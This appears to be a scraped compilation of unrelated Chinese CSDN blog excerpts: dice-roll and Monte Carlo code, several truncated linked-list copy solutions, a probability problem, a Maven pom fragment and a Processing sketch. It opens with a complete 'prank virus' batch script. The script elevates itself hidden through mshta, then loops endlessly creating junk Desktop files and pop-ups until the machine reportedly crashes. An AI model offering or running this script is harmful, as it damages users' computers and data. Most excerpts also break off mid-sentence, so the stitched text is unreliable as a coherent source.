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如何制造恶搞整人命令病毒 这种病毒高级，攻击性能更强。桌面上创建记事本，改后缀为bat 2@%1 mshta vbscript:CreateObject(“Shell.Application”).ShellExecute(“cmd.exe”,"/c %~s0 ::","",“runas”,0)(window.close)&&exit:aset /a a+=1echo %random%-%random%-%random% > C:\Users%username%\Desktop\病毒文件.%random%mshta javascript:alert(“您已中第%a%个病毒.”);close();goto a3 这个病毒会在后台运行，在桌面重复弹信息框，生成垃圾文件，千万不敢随意测试，因为电脑会消耗尽内存后蓝屏。 来源： CSDN 作者： 正在等待对方输入...... 链接： https://blog.csdn.net/qq_45416764/article/details/104606748

def roll(): roll_result = random.randint(1, 6) return roll_result def main(): roll_times = 1000 rollresult_list = [0]*6 for i in range(roll_times): k = roll() for j in range(1,7): if k == j: rollresult_list[j-1] += 1 for m , result in enumerate(rollresult_list): print('点数为{}的次数是{},几率为{}。'.format(m+1, result, result/roll_times)) if __name__ == '__main__': main() 在这里插入代码片 来源： CSDN 作者： poetry and code 链接： https://blog.csdn.net/poetry_code/article/details/104598782

题目描述 输入一个复杂链表（每个节点中有节点值，以及两个指针，一个指向下一个节点，另一个特殊指针指向任意一个节点），返回结果为复制后复杂链表的head。（注意，输出结果中请不要返回参数中的节点引用，否则判题程序会直接返回空） 1 struct RandomListNode { 2 int label; 3 struct RandomListNode *next, *random; 4 RandomListNode(int x) : 5 label(x), next(NULL), random(NULL) { 6 } 7 }; 解法一： 分两步： 1、复制原始链表节点，并用next链接起来。 2、设置每个节点的random指针。假设原始链表的某个节点N的random指向节点S，由于S在链表中可能在N的前面也可能在N的后面，所以要定位S的位置需要从原始链表的头结点开始找。如果从原始链表的头结点沿着next经过s步找到节点S，那么在复制链表上节点N'的random（记为S'）离复制链表的头结点的距离也是沿着next指针s步。用这种方法可以为复制链表上的每个节点设置random指针。 时间复杂度分析：对于一个有n个节点的链表，由于定位每个节点的random都需要从链表头结点开始经过 O(n)才能找到。因此总的时间复杂度为O(n 2 ) 解法二

题目描述 输入一个复杂链表（每个节点中有节点值，以及两个指针，一个指向下一个节点，另一个特殊指针指向任意一个节点），返回结果为复制后复杂链表的head。（注意，输出结果中请不要返回参数中的节点引用，否则判题程序会直接返回空） 思路： 因为新链表也需要复制旧链表的random指针，而random指向的节点也有其next和random，需要保持链表的连贯，所以需要考虑先做出一条新链表，再去构建每一个节点的random节点，而如何同步random节点就是问题所在。有两种解决办法。 解法一：构建同一链表后拆分 1.新旧链表构建在一起，形成Z字型 2.为每一个新节点同步random节点 3.分开两个链表 class Solution { public: RandomListNode *Clone(RandomListNode *pHead) { if (pHead == NULL) return NULL; RandomListNode *newHead = new RandomListNode(pHead->label); RandomListNode *curNode1 = pHead; RandomListNode *curNode2 = newHead; // 新旧链表形成Z链 while (curNode1) { curNode2->next = curNode1->next;

输入一个复杂链表（每个节点中有节点值，以及两个指针，一个指向下一个节点，另一个特殊指针指向任意一个节点），返回结果为复制后复杂链表的head。（注意，输出结果中请不要返回参数中的节点引用，否则判题程序会直接返回空） 结点结构体如下： /* struct RandomListNode { int label; struct RandomListNode *next, *random; RandomListNode(int x) : label(x), next(NULL), random(NULL) { } }; */ 这是一道剑指offer上的题目。下面看一下解析吧。 在做这道题之前，自己的想法是先把链表中的next域全部复制，这时候原复杂链表的random域的所有指向都会存在于刚才复制的链表中，之后再遍历原复杂链表，将新链表random域与原链表random域相互对应即可。 但是过程中问题就出现了，虽然我可以在将原链表的所有next域全部复制，也保证了即将要复制的random域的指向存在于该链表中，但是random域是随机指的，也就是说并不知道当前的random域指向的结点在前面还是后面，如此一来，如果还要继续下去，恐怕还要嵌套一层循环。 为此，又在网上找了大神的博客参考下，真的是受益匪浅。 想想我们平时复制粘贴一段文字的时候是怎么做的？是照着那段文字一个一个的再敲一次吗？并不是

题解 题意：给n个数，任取一个区间，端点可以重合，每个区间被取到的概率是一样的，设每个区间的价值是其不同的数的个数，问整段区间的价值期望 学习来源 · 大佬博客直通车 记记笔记… 在这道题里， 期望 = 总价值 / 区间总数， 因为 l l l 和 r r r 是等概率随机的，所以区间也是等概率的， 所以期望 E = ∑ x E=\sum x E = ∑ x 区间价值 * p p p (区间概率) = p ∑ x = 总 价 值 区 间 总 数 =p\sum x=\cfrac{_{总价值}}{_{区间总数}} = p ∑ x = 区 间 总 数 ​ 总 价 值 ​ ​ ， 接着是计算总价值： 总共有 n ∗ n n*n n ∗ n 个 l 、 r l、r l 、 r ，可以知道如果是不同的 l 、 r l、r l 、 r ，贡献要算两次，而相同的贡献只需算一次 设前 i − 1 i-1 i − 1 个数里总贡献为 f ( i − 1 ) f(i-1) f ( i − 1 ) ， 假设第 i i i 个数字在前面的区间里没有出现过， 则第 i i i 个数会对区间 [ 1 , i ] [ 2 , i ] [ 3 , i ] . . . [ i − 1 , i ] [ i , i ] [1,i][2,i][3,i]...[i-1,i][i,i] [ 1 , i ] [ 2 , i ]

1.搭建后台环境 common模块 1.pom <dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-test</artifactId> <scope>test</scope> </dependency> <dependency> <groupId>com.sx</groupId> <artifactId>hrm-basic-utils</artifactId> <version>1.0-SNAPSHOT</version> </dependency> <!--不能全部引入mybatis-plus,这是要做数据库操作,这里是不需要的,只需引入核心包解决错误而已--> <dependency> <groupId>com.baomidou</groupId> <artifactId>mybatis-plus</artifactId> <version>2.2.0</version> <

计算机模拟常常需要用到随机选择的数。本文从随机数的一个简单应用开始简要地介绍Python的random模块。 使用蒙特卡洛方法计算pi值 Links:该问题来自于pudure university（普渡大学）python课程中的problem set2 Monte Carlo methods are used to simulate complex physical and mathematical systems by repeated random sampling. In simple terms, given a probability, p, that an event will occur in certain conditions, a program generates those conditions repeatedly. The number of times the event occurs divided by the number of times the conditions are generated should be approximately equal to p. 蒙特卡洛方法通过重复随机取样用于复杂的物理和数学系统的 仿真 。简单地说，给定一个变量p,用于描述事件在一定条件下发生的概率，程序重复地生成这些条件

从今天开始自学 processing。 在知乎上看到了 OF兜兜鱼 的一些教程，感觉很棒，准备跟着 OF君 开始学习。 Processing教程|如何在黑夜里风情万种 这个文章上的星星闪闪的，很棒，代码摘抄如下： float a,b,c,d; float star; float x; float y; void setup(){ size(500,500); background(0); frameRate(30); } void draw(){ a=random(255); b=random(255); c=random(255); d=random(255); star=random(7); x=random(width); y=random(height); noStroke(); fill(a,b,c,d); ellipse(x,y,star,star); } 效果不错，好看，但是有几个情况，一个是，这段代码的星星是会越来越多的，一段时间之后会铺满整个画布，并且星星并不闪，想想办法换个效果。 2. 预想画布上有100个星星，星星的位置需要保持，并且在星星闪的时候，其实是对星星的颜色进行改动，那星星的rgb，alpha值都需要记录，参照 processing 自带的范例-basics-Arrays-Array，学习了一下数组的用法： 先声明数组 float red[];